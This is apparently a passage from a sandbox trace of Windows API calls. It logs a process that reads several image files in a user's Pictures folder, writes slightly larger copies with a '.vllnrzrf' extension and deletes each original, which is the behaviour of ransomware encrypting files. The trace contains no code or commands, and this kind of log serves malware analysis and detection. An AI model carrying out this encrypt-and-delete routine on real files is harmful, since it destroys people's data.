lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", lpFilePart=0x0) returned 0x52 [0117.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.045] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\crchv7byd0nmna l ic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0117.045] GetFileType (hFile=0x44c) returned 0x1 [0117.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.045] GetFileType (hFile=0x44c) returned 0x1 [0117.046] GetFileSize (in: hFile=0x44c, lpFileSizeHigh=0x1c08e308 | out: lpFileSizeHigh=0x1c08e308*=0x0) returned 0x136c7 [0117.046] ReadFile (in: hFile=0x44c, lpBuffer=0x22f04b8, nNumberOfBytesToRead=0x136c7, lpNumberOfBytesRead=0x1c08e238, lpOverlapped=0x0 | out: lpBuffer=0x22f04b8*, lpNumberOfBytesRead=0x1c08e238*=0x136c7, lpOverlapped=0x0) returned 1 [0117.047] CloseHandle (hObject=0x44c) returned 1 [0117.060] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png.vllnrzrf", lpFilePart=0x0) returned 0x5b [0117.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.060] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\crchv7byd0nmna l ic.png.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0117.061] GetFileType (hFile=0x44c) returned 0x1 [0117.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.061] GetFileType (hFile=0x44c) returned 0x1 [0117.061] WriteFile (in: hFile=0x44c, lpBuffer=0x235be98*, nNumberOfBytesToWrite=0x138c7, lpNumberOfBytesWritten=0x1c08e298, lpOverlapped=0x0 | out: lpBuffer=0x235be98*, lpNumberOfBytesWritten=0x1c08e298*=0x138c7, lpOverlapped=0x0) returned 1 [0117.064] CloseHandle (hObject=0x44c) returned 1 [0117.066] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", lpFilePart=0x0) returned 0x52 [0117.066] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", nBufferLength=0x105, lpBuffer=0x1c08de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", lpFilePart=0x0) returned 0x52 [0117.066] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\crchv7byd0nmna l ic.png")) returned 1 [0117.070] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", lpFilePart=0x0) returned 0x49 [0117.070] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", lpFilePart=0x0) returned 0x49 [0117.070] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", lpFilePart=0x0) returned 0x49 [0117.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\dscltqspgl.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0117.070] GetFileType (hFile=0x44c) returned 0x1 [0117.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.070] GetFileType (hFile=0x44c) returned 0x1 [0117.070] GetFileSize (in: hFile=0x44c, lpFileSizeHigh=0x1c08e308 | out: lpFileSizeHigh=0x1c08e308*=0x0) returned 0x8ca0 [0117.070] ReadFile (in: hFile=0x44c, lpBuffer=0x2370438, nNumberOfBytesToRead=0x8ca0, lpNumberOfBytesRead=0x1c08e238, lpOverlapped=0x0 | out: lpBuffer=0x2370438*, lpNumberOfBytesRead=0x1c08e238*=0x8ca0, lpOverlapped=0x0) returned 1 [0117.072] CloseHandle (hObject=0x44c) returned 1 [0117.084] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg.vllnrzrf", lpFilePart=0x0) returned 0x52 [0117.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\dscltqspgl.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0117.084] GetFileType (hFile=0x44c) returned 0x1 [0117.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.084] GetFileType (hFile=0x44c) returned 0x1 [0117.084] WriteFile (in: hFile=0x44c, lpBuffer=0x23b4460*, nNumberOfBytesToWrite=0x8ea0, lpNumberOfBytesWritten=0x1c08e298, lpOverlapped=0x0 | out: lpBuffer=0x23b4460*, lpNumberOfBytesWritten=0x1c08e298*=0x8ea0, lpOverlapped=0x0) returned 1 [0117.086] CloseHandle (hObject=0x44c) returned 1 [0117.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", lpFilePart=0x0) returned 0x49 [0117.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", nBufferLength=0x105, lpBuffer=0x1c08de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg", lpFilePart=0x0) returned 0x49 [0117.088] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\DscltQSPgL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\dscltqspgl.jpg")) returned 1 [0117.091] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", lpFilePart=0x0) returned 0x48 [0117.091] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", lpFilePart=0x0) returned 0x48 [0117.091] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", lpFilePart=0x0) returned 0x48 [0117.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\e0mxq81ml.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0117.091] GetFileType (hFile=0x44c) returned 0x1 [0117.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.091] GetFileType (hFile=0x44c) returned 0x1 [0117.091] GetFileSize (in: hFile=0x44c, lpFileSizeHigh=0x1c08e308 | out: lpFileSizeHigh=0x1c08e308*=0x0) returned 0xc7b2 [0117.091] ReadFile (in: hFile=0x44c, lpBuffer=0x23bdf90, nNumberOfBytesToRead=0xc7b2, lpNumberOfBytesRead=0x1c08e238, lpOverlapped=0x0 | out: lpBuffer=0x23bdf90*, lpNumberOfBytesRead=0x1c08e238*=0xc7b2, lpOverlapped=0x0) returned 1 [0117.093] CloseHandle (hObject=0x44c) returned 1 [0117.115] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif.vllnrzrf", lpFilePart=0x0) returned 0x51 [0117.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\e0mxq81ml.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f4 [0117.116] GetFileType (hFile=0x4f4) returned 0x1 [0117.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.116] GetFileType (hFile=0x4f4) returned 0x1 [0117.116] WriteFile (in: hFile=0x4f4, lpBuffer=0x2208538*, nNumberOfBytesToWrite=0xc9b2, lpNumberOfBytesWritten=0x1c08e298, lpOverlapped=0x0 | out: lpBuffer=0x2208538*, lpNumberOfBytesWritten=0x1c08e298*=0xc9b2, lpOverlapped=0x0) returned 1 [0117.118] CloseHandle (hObject=0x4f4) returned 1 [0117.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", lpFilePart=0x0) returned 0x48 [0117.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", nBufferLength=0x105, lpBuffer=0x1c08de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif", lpFilePart=0x0) returned 0x48 [0117.120] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\E0MxQ81ml.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\e0mxq81ml.gif")) returned 1 [0117.124] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", lpFilePart=0x0) returned 0x52 [0117.124] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", lpFilePart=0x0) returned 0x52 [0117.124] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", lpFilePart=0x0) returned 0x52 [0117.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\gvmhr56drz8sr5eoymp.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f4 [0117.125] GetFileType (hFile=0x4f4) returned 0x1 [0117.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.125] GetFileType (hFile=0x4f4) returned 0x1 [0117.125] GetFileSize (in: hFile=0x4f4, lpFileSizeHigh=0x1c08e308 | out: lpFileSizeHigh=0x1c08e308*=0x0) returned 0xa6c0 [0117.125] ReadFile (in: hFile=0x4f4, lpBuffer=0x2215bd0, nNumberOfBytesToRead=0xa6c0, lpNumberOfBytesRead=0x1c08e238, lpOverlapped=0x0 | out: lpBuffer=0x2215bd0*, lpNumberOfBytesRead=0x1c08e238*=0xa6c0, lpOverlapped=0x0) returned 1 [0117.126] CloseHandle (hObject=0x4f4) returned 1 [0117.137] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png.vllnrzrf", lpFilePart=0x0) returned 0x5b [0117.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\gvmhr56drz8sr5eoymp.png.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f4 [0117.138] GetFileType (hFile=0x4f4) returned 0x1 [0117.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.138] GetFileType (hFile=0x4f4) returned 0x1 [0117.138] WriteFile (in: hFile=0x4f4, lpBuffer=0x2250f40*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x1c08e298, lpOverlapped=0x0 | out: lpBuffer=0x2250f40*, lpNumberOfBytesWritten=0x1c08e298*=0xa8c0, lpOverlapped=0x0) returned 1 [0117.140] CloseHandle (hObject=0x4f4) returned 1 [0117.149] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", lpFilePart=0x0) returned 0x52 [0117.149] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", nBufferLength=0x105, lpBuffer=0x1c08de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png", lpFilePart=0x0) returned 0x52 [0117.149] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\Gvmhr56drZ8Sr5eoymp.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\gvmhr56drz8sr5eoymp.png")) returned 1 [0117.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", lpFilePart=0x0) returned 0x4e [0117.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", lpFilePart=0x0) returned 0x4e [0117.152] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", lpFilePart=0x0) returned 0x4e [0117.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\kpxw_vjx1inpkg6.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f4 [0117.152] GetFileType (hFile=0x4f4) returned 0x1 [0117.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.152] GetFileType (hFile=0x4f4) returned 0x1 [0117.152] GetFileSize (in: hFile=0x4f4, lpFileSizeHigh=0x1c08e308 | out: lpFileSizeHigh=0x1c08e308*=0x0) returned 0xb01b [0117.153] ReadFile (in: hFile=0x4f4, lpBuffer=0x225c500, nNumberOfBytesToRead=0xb01b, lpNumberOfBytesRead=0x1c08e238, lpOverlapped=0x0 | out: lpBuffer=0x225c500*, lpNumberOfBytesRead=0x1c08e238*=0xb01b, lpOverlapped=0x0) returned 1 [0117.154] CloseHandle (hObject=0x4f4) returned 1 [0117.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg.vllnrzrf", lpFilePart=0x0) returned 0x57 [0117.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\kpxw_vjx1inpkg6.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f4 [0117.165] GetFileType (hFile=0x4f4) returned 0x1 [0117.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.165] GetFileType (hFile=0x4f4) returned 0x1 [0117.165] WriteFile (in: hFile=0x4f4, lpBuffer=0x229aae0*, nNumberOfBytesToWrite=0xb21b, lpNumberOfBytesWritten=0x1c08e298, lpOverlapped=0x0 | out: lpBuffer=0x229aae0*, lpNumberOfBytesWritten=0x1c08e298*=0xb21b, lpOverlapped=0x0) returned 1 [0117.167] CloseHandle (hObject=0x4f4) returned 1 [0117.173] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", lpFilePart=0x0) returned 0x4e [0117.173] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", nBufferLength=0x105, lpBuffer=0x1c08de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg", lpFilePart=0x0) returned 0x4e [0117.173] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\kpxw_vjX1INpKG6.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\kpxw_vjx1inpkg6.jpg")) returned 1 [0117.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", lpFilePart=0x0) returned 0x49 [0117.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", lpFilePart=0x0) returned 0x49 [0117.186] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", lpFilePart=0x0) returned 0x49 [0117.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.186] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\l2h8fzj8j9.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f4 [0117.186] GetFileType (hFile=0x4f4) returned 0x1 [0117.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.186] GetFileType (hFile=0x4f4) returned 0x1 [0117.186] 